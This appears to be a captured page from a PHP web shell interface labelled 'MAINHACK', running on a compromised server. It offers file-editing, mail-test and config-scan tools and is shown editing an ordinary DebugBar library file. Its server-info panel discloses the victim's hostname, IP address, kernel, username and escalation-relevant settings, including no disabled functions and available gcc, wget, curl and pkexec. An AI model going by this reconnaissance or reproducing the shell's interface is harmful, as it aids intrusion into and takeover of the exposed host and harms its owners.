[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HasDataFormatter.php
<?php /* * This file is part of the DebugBar package. * * (c) 2013 Maxime Bouroumeau-Fuseau * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace DebugBar\DataFormatter; use DebugBar\DataCollector\DataCollector; trait HasDataFormatter { // The HTML var dumper requires debug bar users to support the new inline assets, which not all // may support yet - so return false by default for now. protected $useHtmlVarDumper = false; protected $dataFormater; protected $varDumper; /** * Sets a flag indicating whether the Symfony HtmlDumper will be used to dump variables for * rich variable rendering. * * @param bool $value * @return $this */ public function useHtmlVarDumper($value = true) { $this->useHtmlVarDumper = $value; return $this; } /** * Indicates whether the Symfony HtmlDumper will be used to dump variables for rich variable * rendering. * * @return mixed */ public function isHtmlVarDumperUsed() { return $this->useHtmlVarDumper; } /** * Sets the default data formater instance used by all collectors subclassing this class * * @param DataFormatterInterface $formater */ public static function setDefaultDataFormatter(DataFormatterInterface $formater) { DataCollector::$defaultDataFormatter = $formater; } /** * Returns the default data formater * * @return DataFormatterInterface */ public static function getDefaultDataFormatter() { if (DataCollector::$defaultDataFormatter === null) { DataCollector::$defaultDataFormatter = new DataFormatter(); } return DataCollector::$defaultDataFormatter; } /** * Sets the data formater instance used by this collector * * @param DataFormatterInterface $formater * @return $this */ public function setDataFormatter(DataFormatterInterface $formater) { $this->dataFormater = $formater; return $this; } /** * @return DataFormatterInterface */ public function getDataFormatter() { if ($this->dataFormater === null) { $this->dataFormater = DataCollector::getDefaultDataFormatter(); } return $this->dataFormater; } /** * Sets the default variable dumper used by all collectors subclassing this class * * @param DebugBarVarDumper $varDumper */ public static function setDefaultVarDumper(DebugBarVarDumper $varDumper) { DataCollector::$defaultVarDumper = $varDumper; } /** * Returns the default variable dumper * * @return DebugBarVarDumper */ public static function getDefaultVarDumper() { if (DataCollector::$defaultVarDumper === null) { DataCollector::$defaultVarDumper = new DebugBarVarDumper(); } return DataCollector::$defaultVarDumper; } /** * Sets the variable dumper instance used by this collector * * @param DebugBarVarDumper $varDumper * @return $this */ public function setVarDumper(DebugBarVarDumper $varDumper) { $this->varDumper = $varDumper; return $this; } /** * Gets the variable dumper instance used by this collector; note that collectors using this * instance need to be sure to return the static assets provided by the variable dumper. * * @return DebugBarVarDumper */ public function getVarDumper() { if ($this->varDumper === null) { $this->varDumper = DataCollector::getDefaultVarDumper(); } return $this->varDumper; } /** * @deprecated */ public function formatVar($var) { return $this->getDataFormatter()->formatVar($var); } /** * @deprecated */ public function formatDuration($seconds) { return $this->getDataFormatter()->formatDuration($seconds); } /** * @deprecated */ public function formatBytes($size, $precision = 2) { return $this->getDataFormatter()->formatBytes($size, $precision); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002